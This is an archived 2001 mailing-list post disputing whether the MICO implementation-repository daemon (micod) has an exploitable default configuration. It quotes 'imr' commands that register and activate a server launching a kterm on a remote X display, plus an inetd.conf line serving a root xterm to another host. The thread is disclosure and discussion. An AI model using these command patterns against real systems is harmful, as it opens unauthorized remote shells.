> > (micod ist started on inet:winkelklinke.local:8888) > > (hacking from enfin.local, which has X on display :0) > > imr -ORBImplRepoAddr inet:winkelklinke.local:8888 create Play shared > > "kterm -display enfin.local:0 & echo" IDL:Anything:1.0 > > imr -ORBImplRepoAddr inet:winkelklinke.local:8888 activate Play > I would not consider this an explot, I would consider this just not > understanding what you are doing. > This `exploit' is equivalent to putting in your /etc/inetd.conf: > service stream tcp nowait root /usr/X11R6/bin/xterm -display somehost:0 I feared that answer. The problem is, that we don't have the same opinion of the word 'exploit'. Imho, if a product has a security problem in its default 'way of installation', this should be considered an exploit. And the default (as considered by the documentation) is, in this case, just to run micod (not necesarily as root, of course). Just limiting access to micod (e.g. by not starting it on a tcp-port, but on a unix-file-socket) would not be a solution, because in most applications you'll have to make your objects accessible to non trusted users. And if you have to rewrite the code just to be able to start the program w/o fear, it is not my understanding of an final release. All I said is, that you should not start micod w/o further change of the program and that the documentation should warn. I also wanted to warn those, who aren't aware of those problems. (I know many people who would not have seen this problem. "not understanding what they are doing") > Users of MICO need to implement their own authentication systems > (which we do, for those who care about the panel). Such a system could be included in micod by default, some kind of ssl-access-control, but only for the ImplRepo-modifiing. > Best wishes, > Miguel. Better knowing what he is doing than you suppose, DniQ.
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:53:13 PDT